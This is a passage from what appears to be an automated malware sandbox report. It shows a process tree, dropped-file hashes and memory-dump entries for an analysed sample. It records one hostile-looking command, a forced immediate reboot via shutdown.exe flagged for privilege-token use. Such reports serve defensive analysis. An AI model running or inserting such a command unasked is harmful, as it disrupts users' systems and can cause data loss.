          • Suspicious use of AdjustPrivilegeToken
          PID:3008
        • C:\Windows\system32\shutdown.exe
          "C:\Windows\system32\shutdown.exe" /r /t 0 /f
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1696
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x0
    1⤵
      PID:1796
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x1
      1⤵
        PID:2484

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

        Filesize

        7KB

        MD5

        76a7cfe2276dddf2b391510b219f91c7

        SHA1

        d4edce3a79f4ae63fe9b411df1a82d45601ff8f4

        SHA256

        d944966fae1d1b3cfa9da8233abcac3f901d36ae4a7a66fcd78123cf110817b5

        SHA512

        eb4a938dce7abc33ac67e5a96ebc931ce6ffd3bfd214f50084d18470a94a110e8f18f2f994b3e8c058734a4670c8ef8aab541bee41a3557eff43e3bf79b2457f

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\J3H5PNLIJCNAB3N1SYO9.temp

        Filesize

        7KB

        MD5

        aa405b92a830b4e7ff1624f3d7089162

        SHA1

        bcaea8e13ef24609fe14112bade33ece3ba7350f

        SHA256

        54ecae282e070c18be8dc26c8b65a56fc36018837aa78016a6a3571b7d4d6af6

        SHA512

        469616810574cfc383276ea96d2529f4d3e4d1ac28d5e8fcedc4871e61e158469475430f05dad4b4ae5859bcc5da12594a69f1baadc0f8c435fcdd5e9ee79600

      • memory/2444-4-0x000007FEF544E000-0x000007FEF544F000-memory.dmp

        Filesize

        4KB

      • memory/2444-5-0x000000001B740000-0x000000001BA22000-memory.dmp

        Filesize

        2.9MB

      • memory/2444-7-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

        Filesize

        9.6MB

      • memory/2444-6-0x0000000002860000-0x0000000002868000-memory.dmp

        Filesize

        32KB

      • memory/2444-8-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

        Filesize

        9.6MB

      • memory/2444-9-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

        Filesize

        9.6MB

      • memory/2444-10-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

        Filesize

        9.6MB

      • memory/2444-16-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

        Filesize

        9.6MB

      • memory/2444-17-0x000007FEF544E000-0x000007FEF544F000-memory.dmp

        Filesize

        4KB

      • memory/2444-18-0x000007FEF5190000-0x000007FEF5B2D000-memory.dmp

        Filesize

        9.6MB